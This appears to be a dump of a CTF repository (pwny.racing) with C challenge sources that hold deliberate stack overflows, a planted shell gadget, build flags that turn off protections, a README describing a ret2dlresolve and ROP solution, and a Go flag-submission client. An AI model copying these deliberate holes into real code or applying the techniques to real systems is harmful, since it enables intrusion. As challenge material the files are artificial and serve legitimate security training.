▀▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m " \ 47 | " \e[31m▀▀▀▀▀▀▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m\n " \ 48 | " speedrun edition 5/5!\n"); 49 | } 50 | 51 | void win(char *arg2, char *arg1, char *bin){ 52 | 53 | char *argx[] = { bin, arg1, arg2, NULL }; 54 | char *envx[] = { NULL }; 55 | 56 | execve(argx[0], argx, envx); 57 | } 58 | 59 | void quit(){ 60 | 61 | _exit(EXIT_SUCCESS); 62 | } 63 | 64 | int main(int argc, char *argv[], char *envp[]){ 65 | 66 | register long long *rsp asm("rsp"); 67 | *(rsp+15) = (long long) &quit; 68 | *(rsp+32) = (long long) 0; 69 | 70 | char buffer[0x40]; 71 | 72 | setvbuf(stdin, 0, _IONBF, 0); 73 | setvbuf(stdout, 0, _IONBF, 0); 74 | 75 | alarm(60); 76 | banner(); 77 | 78 | clear(argv); 79 | clear(envp); 80 | 81 | while (1){ 82 | 83 | printf("buffer: "); 84 | 85 | c = 0; n = 0; 86 | while ((c = fgetc(stdin)) != EOF && c != '\n' && c != '\r' && n <= 0x200) 87 | buffer[n++] = c; 88 | 89 | if (n == 0) 90 | break; 91 | 92 | printf("output: %s\n", buffer); 93 | } 94 | 95 | register long long *rdi asm("rdi") = -1; 96 | register long long *rsi asm("rsi") = -1; 97 | register long long *rdx asm("rdx") = -1; 98 | 99 | return EXIT_SUCCESS; 100 | } -------------------------------------------------------------------------------- /pwnyracing/chall15/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-static -fstack-protector-all -m32 -O0 2 | SRC=chall15.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall15 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall15/src/chall15.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define DEF_PORT 1337 10 | #define MAX_PORT 0xffff 11 | #define MIN_PORT 0x400 12 | #define MAX_BUFF 0x100 13 | 14 | void fatal(const char *msg){ 15 | 16 | printf("\e[31;1merror:\e[0m %s\n", msg); 17 | _exit(EXIT_FAILURE); 18 | } 19 | 20 | void s3cr3t(){ 21 | 22 | printf("/bin/sh"); 23 | asm("int $0x80\nret\n"); 24 | } 25 | 26 | void handle(int fd){ 27 | 28 | char buffer[MAX_BUFF] = ""; 29 | 30 | if (fd < 3) 31 | _exit(EXIT_FAILURE); 32 | 33 | write(fd, " pwny.racing presents...\n\n\e[3" \ 34 | "0;1m\e[47m▄\e[0m\e[30;1m█████████▄\e[0m \e[30;1m\e[47m▄\e[0m\e[30;1m███ " \ 35 | " \e[30;1m\e[47m▄\e[0m\e[30;1m███\e[0m \e[30;1m\e[47m▄\e[0m\e[30;1m███" \ 36 | " \e[30;1m\e[47m▄\e[0m\e[30;1m███\e[0m \e[30;1m▄\e[47m▄\e[0m\e[30;1m███" \ 37 | "█████▄\e[0m \e[30;1m\e[47m▄\e[0m\e[30;1m███\e[0m\n\e[30;1m████\e[40;1m▀▀" \ 38 | "▀████\e[0m \e[30;1m████ ████\e[0m \e[30;1m█████▄ ████\e[0m \e[30;1m" \ 39 | "\e[40;1m████▀▀▀████\e[0m \e[30;1m████\e[0m\n\e[30;1m████▄▄▄████\e[0m \e[" \ 40 | "30;1m████ ▄ ████\e[0m \e[30;1m███████████\e[0m \e[30;1m\e[40;1m▀███\e[" \ 41 | "0m\e[30;1m▄▄▄███\e[40;1m▀\e[0m \e[30;1m████\e[0m\n\e[30;1m██████████\e[4" \ 42 | "0;1m▀\e[0m \e[30;1m████▄███▄████\e[0m \e[30;1m████\e[0m\e[30m▀\e[30;1m\e" \ 43 | "[40;1m▀█████\e[0m \e[30;1m▄███\e[40;1m▀▀▀\e[0m\e[30;1m███▄\e[0m \e[30;1m" \ 44 | "████\e[0m\n\e[30;1m████\e[0m\e[30m▀▀▀▀▀▀\e[0m \e[30;1m\e[40;1m██████▀██" \ 45 | "████\e[0m \e[30;1m████ \e[0m\e[30m▀\e[30;1m████\e[0m \e[30;1m████▄▄▄███" \ 46 | "█\e[0m \e[37;1m\e[40;1m▄\e[30;1m▄▄▄\e[0m\n\e[30;1m████\e[0m \e[30" \ 47 | ";1m████\e[40;1m▀\e[0m\e[30m▀\e[0m \e[30m▀\e[0m\e[30;1m\e[40;1m▀████\e[0m" \ 48 | " \e[30;1m████ ████\e[0m \e[30;1m\e[40;1m▀█████████▀\e[0m \e[30;1m████" \ 49 | "\e[0m\n\e[30m▀▀▀▀\e[0m \e[30m▀▀▀▀ ▀▀▀▀\e[0m \e[30m▀▀▀▀ ▀▀▀▀" \ 50 | "\e[0m \e[30m▀▀▀▀▀▀▀▀▀\e[0m \e[30m▀▀▀▀\e[0m\n\n", 1728); 51 | 52 | write(fd, "buffer: ", 8); 53 | 54 | int i = 0; 55 | char c = 0; 56 | 57 | for (i = 0; i < MAX_BUFF << 2; i++){ 58 | if ((read(fd, &c, 1) != 1) || c == '\n') 59 | break; 60 | 61 | buffer[i] = c; 62 | } 63 | } 64 | 65 | int main(int argc, char *argv[]){ 66 | 67 | pid_t pid; 68 | int listenfd, clientfd, clientlen, port = DEF_PORT; 69 | 70 | struct sockaddr_in server_addr; 71 | struct sockaddr_in client_addr; 72 | 73 | if (argc > 1) 74 | if ((port = atoi(argv[1])) > MAX_PORT || port < MIN_PORT) 75 | fatal("Bad port number"); 76 | 77 | listenfd = socket(AF_INET, SOCK_STREAM, 0); 78 | 79 | server_addr.sin_family = AF_INET; 80 | server_addr.sin_addr.s_addr = htonl(INADDR_ANY); 81 | server_addr.sin_port = htons(port); 82 | 83 | if (bind(listenfd, (struct sockaddr *) &server_addr, sizeof(server_addr)) == -1){ 84 | perror("\e[31;1merror:\e[0m"); 85 | _exit(EXIT_FAILURE); 86 | } 87 | 88 | listen(listenfd, 0x10); 89 | signal(SIGCHLD, SIG_IGN); 90 | 91 | clientlen = sizeof(client_addr); 92 | 93 | while (1){ 94 | 95 | printf("\e[1mstatus:\e[0m waiting for client\n"); 96 | 97 | if ((clientfd = accept(listenfd,(struct sockaddr *) &client_addr, &clientlen)) < 0) 98 | fatal("cannot accept() connection"); 99 | 100 | if ((pid = fork()) < 0) 101 | fatal("cannot fork() child"); 102 | 103 | if (pid == 0){ 104 | 105 | close(listenfd); 106 | handle(clientfd); 107 | 108 | write(clientfd, "\e[1mit is always darkest before dawn...\e[0m\n", 45); 109 | close(clientfd); 110 | 111 | sleep(1); 112 | exit(EXIT_SUCCESS); 113 | 114 | } else { 115 | 116 | close(clientfd); 117 | } 118 | } 119 | 120 | s3cr3t(); 121 | return EXIT_SUCCESS; 122 | } -------------------------------------------------------------------------------- /pwnyracing/chall16/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -Wno-int-conversion -m32 -fno-pic -fno-stack-protector 2 | SRC=chall16.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall16 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall16/src/chall16.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define MAX_TRIES 5 11 | #define MAX_BUFF 0x50 12 | 13 | #define EPERM 1 14 | #define ENOENT 2 15 | 16 | struct File { 17 | int size; 18 | FILE *file; 19 | }; 20 | 21 | void banner(){ 22 | 23 | char *clear = alloca(0x100); 24 | memset(clear, '\0', 0x100); 25 | 26 | puts(" pwny.racng presents...\n\n\e[38;5;2" \ 27 | "07m\e[48;5;15m▄\e[0m\e[38;5;207m█████████▄\e[0m \e[38;5;207m\e[48;5;15m▄" \ 28 | "\e[0m\e[38;5;207m███ \e[38;5;207m\e[48;5;15m▄\e[0m\e[38;5;207m███\e[" \ 29 | "0m \e[38;5;207m\e[48;5;15m▄\e[0m\e[38;5;207m███ \e[38;5;207m\e[48;5;15" \ 30 | "m▄\e[0m\e[38;5;207m███\e[0m \e[38;5;207m▄\e[48;5;15m▄\e[0m\e[38;5;207m██" \ 31 | "██████▄\e[0m \e[38;5;207m\e[48;5;15m▄\e[0m\e[38;5;207m███\e[0m\n\e[38;5;" \ 32 | "207m████\e[48;5;14m▀▀▀████\e[0m \e[38;5;207m████ ████\e[0m \e[38;5;2" \ 33 | "07m█████▄ ████\e[0m \e[38;5;207m\e[48;5;14m████▀▀▀████\e[0m \e[38;5;207m" \ 34 | "████\e[0m\n\e[38;5;207m████▄▄▄████\e[0m \e[38;5;207m████ ▄ ████\e[0m " \ 35 | "\e[38;5;207m███████████\e[0m \e[38;5;207m████▄▄▄████\e[0m \e[38;5;207m██" \ 36 | "██\e[0m\n\e[38;5;207m██████████\e[48;5;14m▀\e[0m \e[38;5;207m████▄███▄██" \ 37 | "██\e[0m \e[38;5;207m████\e[0m\e[36;1m▀\e[38;5;207m\e[48;5;14m▀█████\e[0m" \ 38 | " \e[38;5;207m\e[48;5;14m▀██████████\e[0m \e[38;5;207m████\e[0m\n\e[38;5;" \ 39 | "207m████\e[0m\e[36;1m▀▀▀▀▀▀\e[0m \e[38;5;207m\e[48;5;14m██████▀██████\e" \ 40 | "[0m \e[38;5;207m████ \e[0m\e[36;1m▀\e[38;5;207m████\e[0m \e[36;1m▀▀▀▀▀" \ 41 | "▀\e[0m\e[38;5;207m████\e[0m \e[37;1m\e[48;5;14m▄\e[38;5;207m▄▄▄\e[0m\n\e" \ 42 | "[38;5;207m████\e[0m \e[38;5;207m████\e[48;5;14m▀\e[0m\e[36;1m▀\e[" \ 43 | "0m \e[36;1m▀\e[0m\e[38;5;207m\e[48;5;14m▀████\e[0m \e[38;5;207m████ ██" \ 44 | "██\e[0m \e[38;5;207m████\e[0m \e[38;5;207m████\e[0m\n\e[36;1m▀▀▀▀" \ 45 | "\e[0m \e[36;1m▀▀▀▀ ▀▀▀▀\e[0m \e[36;1m▀▀▀▀ ▀▀▀▀\e[0m " \ 46 | "\e[36;1m▀▀▀▀\e[0m \e[36;1m▀▀▀▀\e[0m\n"); 47 | } 48 | 49 | int open_file(const char *file, struct File *nfo){ 50 | 51 | int fd = open(file, O_RDONLY); 52 | if (fd == -1) 53 | return -ENOENT; 54 | 55 | nfo->file = fdopen(fd, "r"); 56 | 57 | fseek(nfo->file, 0, SEEK_END); 58 | nfo->size = ftell(nfo->file); 59 | fseek(nfo->file, 0, SEEK_SET); 60 | 61 | if (strstr(file, "/dev") != NULL || strstr(file, "/proc") != NULL) 62 | return -EPERM; 63 | 64 | return 0; 65 | 66 | } 67 | 68 | void read_file(FILE *fp, int size){ 69 | 70 | char pad[MAX_BUFF]; 71 | int i = 0; 72 | char c = 0; 73 | 74 | 75 | while((c = fgetc(fp)) != EOF && c != '\n' && c != '\r') 76 | pad[i++] = c; 77 | 78 | if (c == '\n') 79 | pad[i] = '\0'; 80 | 81 | printf("data: %s\n", pad); 82 | } 83 | 84 | int main(int argc, char *argv[]){ 85 | 86 | char name[256] = ""; 87 | struct File nfo; 88 | 89 | setvbuf(stdin, 0, _IONBF, 0); 90 | setvbuf(stdout, 0, _IONBF, 0); 91 | 92 | alarm(60); 93 | banner(); 94 | 95 | for (int i = 0; i < MAX_TRIES; i++){ 96 | 97 | memset(name, '\0', sizeof name); 98 | if (printf("file: ") && fgets(name, 256, stdin) == NULL) 99 | break; 100 | 101 | name[strlen(name)-1] = '\0'; 102 | if (strlen(name) == 0) 103 | break; 104 | 105 | if (open_file(name, &nfo) == -EPERM){ 106 | printf("\e[31;1mnope:\e[0m don't even think about it.\n"); 107 | continue; 108 | } 109 | 110 | if (nfo.file == NULL){ 111 | printf("\e[31;1mnope:\e[0m file could not be opened for reading.\n"); 112 | continue; 113 | } 114 | 115 | read_file(nfo.file, nfo.size); 116 | 117 | if (nfo.file != NULL) 118 | fclose(nfo.file); 119 | } 120 | 121 | return EXIT_SUCCESS; 122 | } -------------------------------------------------------------------------------- /pwnyracing/chall17/README.md: -------------------------------------------------------------------------------- 1 | # Chall 17 (Episode 10) 2 | 3 | ## Challenge 4 | 5 | There is a trivial stack based buffer overflow in this tiny binary. There are 6 | two main issues, firstly the overflow is small so the ROP chain is limited. 7 | The second issue the player will discover is that there is no output of any 8 | kind. Not only are there no output functions in the binary but `stdout` and 9 | `stderr` are redirected to `/dev/null` through the wrapper script. 10 | 11 | The way to solve this challenge is a classic ret2dlresolv and then ret2plt. 12 | The idea is to fake a symbol table and relocation table entry in order to 13 | have a function resolved without the need for any leaks. 14 | 15 | ### Method 1 (Fast) 16 | 17 | There is a library that some people use called `roputils` that will forge the 18 | structures for you. This can be done in two lines of code. 19 | 20 | ### Method 2 (Slower) 21 | 22 | The method in the reference exploit is to do everything manually. Firstly the 23 | player uses the small buffer overflow in order to read a second payload and 24 | pivot to a known memory address (in `.data`). At that point they will be able 25 | to plant strings and structs at known memory locations which allows them to 26 | calculate the offsets of indexes to their forged structures relative to the 27 | relocation and symbol tables. This will allow them to trigger the resolve 28 | lookup for a given function (possibly `system()` and in that case they can 29 | also plant a string for a command to execute). 30 | 31 | At this point all they will need to do is fire a specific command, they will 32 | need to remember that they have no output due to the wrapper. 33 | 34 | ## Protections 35 | 36 | ``` 37 | Arch: i386-32-little 38 | RELRO: Partial RELRO 39 | Stack: No canary found 40 | NX: NX enabled 41 | PIE: No PIE (0x8048000) 42 | ``` -------------------------------------------------------------------------------- /pwnyracing/chall17/dist/chall17.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall17/dist/chall17.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall17/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-m32 -no-pie -fno-pic -fno-stack-protector 2 | SRC=chall17.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall17 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall17/src/chall17.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_BUF 0x10 6 | 7 | int play(){ 8 | 9 | char buf[MAX_BUF]; 10 | return read(STDIN_FILENO, &buf, 0x30); 11 | } 12 | 13 | int main(){ 14 | 15 | play(); 16 | return EXIT_SUCCESS; 17 | } -------------------------------------------------------------------------------- /pwnyracing/flag_submission/.config.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "http://pwny.racing/example/", 3 | "user": "pwn", 4 | "pass": "s3cREtz" 5 | } -------------------------------------------------------------------------------- /pwnyracing/flag_submission/README.md: -------------------------------------------------------------------------------- 1 | # pwny.race Submission Client 2 | 3 | ### Building 4 | 5 | Build with the command `go build client.go`. The only dependency that is required is 6 | the `gonfig` library. To install this simply type `go get github.com/tkanos/gonfig`. 7 | 8 | A static binary will be built that can be used without modification for each event. 9 | 10 | ### Configuration 11 | 12 | The client expects a local file called `.config.json` to exist that will contain the 13 | data to configure the client. As a fallback (and for testing and use in challenges 14 | with a different format) environmental variables can be used to configure the client. 15 | 16 | The fields the client expects at a minimum are: 17 | 18 | * `url` - `URL` to service the submission request. 19 | * `user` - `HTTP_AUTH` required to authenticate. 20 | * `pass` - `HTTP_AUTH` required to authenticate. 21 | 22 | The corresponding names for the environmental variables are: 23 | 24 | * `PWN_URL` 25 | * `PWN_USER` 26 | * `PWN_PASS` 27 | 28 | If both the configuration file and environmental variables are present, the environmental 29 | variables will take precedence. 30 | 31 | An example of a valid configuration file would be: 32 | ```json 33 | { 34 | "url": "https://pwny.racing/example", 35 | "user": "pwn", 36 | "pass": "s3cREtz" 37 | } 38 | ``` 39 | 40 | ### Running 41 | 42 | The client is meant to be run with a single argument. This argument will be an identifying 43 | token for the user on the server side. The server side logic will be responsible for any 44 | verification and return an applicable status code and json response. Anything that is not 45 | recognised explicitly by this client will cause a simple error printed to the user. 46 | 47 | There are three states of the application output: 48 | 49 | 1. YOU WIN! 50 | 2. YOU LOSE! 51 | 3. Error message. 52 | 53 | ### Server 54 | 55 | The server has two requirements. 56 | 57 | 1. Implement `HTTP BASIC AUTH` using the configured username and password. 58 | 2. Return a valid `json` response with an object containing `status` and `message` fields. 59 | 60 | The `status` field of the `json` response has three states: 61 | 1. `win` 62 | 2. `lose` 63 | 3. `error` 64 | 65 | Any unrecognised `status` is treated as an error. 66 | 67 | If the `message` field of the `json` response is not empty then it will be printed to the user (this is useful for printing more descriptive error messages). 68 | 69 | An example of a valid `json` response is: 70 | ```json 71 | { 72 | "status": "win", 73 | "message": "Congratulations b0bb! You have won episode 1 of pwny race.", 74 | } 75 | ``` 76 | 77 | The identifying information the user will provide in the first argument when running the client will be present in the `token` `GET` parameter of the request. 78 | 79 | ## Author 80 | 81 | [b0bb](https://twitter.com/0xb0bb) 82 | -------------------------------------------------------------------------------- /pwnyracing/flag_submission/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "github.com/tkanos/gonfig" 7 | "io/ioutil" 8 | "net/http" 9 | "net/url" 10 | "os" 11 | ) 12 | 13 | const CONFIG_FILE = ".config.json" 14 | 15 | type Conf struct { 16 | Url string `env:"PWN_URL"` 17 | User string `env:"PWN_USER"` 18 | Pass string `env:"PWN_PASS"` 19 | } 20 | 21 | type Result struct { 22 | Status string `json:"status"` 23 | Message string `json:"message"` 24 | } 25 | 26 | const winStr = ` 27 | ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██╗██╗███╗ ██╗██╗ 28 | ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██║██║████╗ ██║██║ 29 | ╚████╔╝ ██║ ██║██║ ██║ ██║ █╗ ██║██║██╔██╗ ██║██║ 30 | ╚██╔╝ ██║ ██║██║ ██║ ██║███╗██║██║██║╚██╗██║╚═╝ 31 | ██║ ╚██████╔╝╚██████╔╝ ╚███╔███╔╝██║██║ ╚████║██╗ 32 | ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ 33 | ` 34 | 35 | const loseStr = ` 36 | ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗███████╗██╗ 37 | ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██╔═══██╗██╔════╝██╔════╝██║ 38 | ╚████╔╝ ██║ ██║██║ ██║ ██║ ██║ ██║███████╗█████╗ ██║ 39 | ╚██╔╝ ██║ ██║██║ ██║ ██║ ██║ ██║╚════██║██╔══╝ ╚═╝ 40 | ██║ ╚██████╔╝╚██████╔╝ ███████╗╚██████╔╝███████║███████╗██╗ 41 | ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ 42 | ` 43 | 44 | func main() { 45 | 46 | if len(os.Args) < 2 { 47 | fmt.Fprintf(os.Stderr, "usage: %s \n", os.Args[0]) 48 | os.Exit(-1) 49 | } 50 | 51 | conf := Conf{} 52 | err := gonfig.GetConf(CONFIG_FILE, &conf) 53 | if err != nil { 54 | fmt.Fprintf(os.Stderr, "error: %s\n", err) 55 | os.Exit(-1) 56 | } 57 | 58 | client := &http.Client{} 59 | url := fmt.Sprintf("%s?token=%s", conf.Url, url.QueryEscape(os.Args[1])) 60 | 61 | req, _ := http.NewRequest(http.MethodGet, url, nil) 62 | req.SetBasicAuth(conf.User, conf.Pass) 63 | req.Header.Set("User-Agent", "Pwny-Racing-Submission-Client_v1") 64 | 65 | resp, err := client.Do(req) 66 | if err != nil { 67 | fmt.Fprintf(os.Stderr, "error: %s\n", err) 68 | os.Exit(-1) 69 | } 70 | 71 | defer resp.Body.Close() 72 | 73 | body, err := ioutil.ReadAll(resp.Body) 74 | if err != nil { 75 | fmt.Fprintf(os.Stderr, "error: %s\n", err) 76 | os.Exit(-1) 77 | } 78 | 79 | result := Result{} 80 | json.Unmarshal(body, &result) 81 | 82 | switch result.Status { 83 | case "win": 84 | fmt.Println(winStr) 85 | if len(result.Message) > 0 { 86 | fmt.Println(result.Message) 87 | } 88 | case "lose": 89 | fmt.Println(loseStr) 90 | if len(result.Message) > 0 { 91 | fmt.Println(result.Message) 92 | } 93 | default: 94 | fmt.Fprintf(os.Stderr, "error: %s\n", result.Message) 95 | os.Exit(-1) 96 | } 97 | } -------------------------------------------------------------------------------- /pwnyracing/img/pwnyracing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/img/pwnyracing.png --------------------------------------------------------------------------------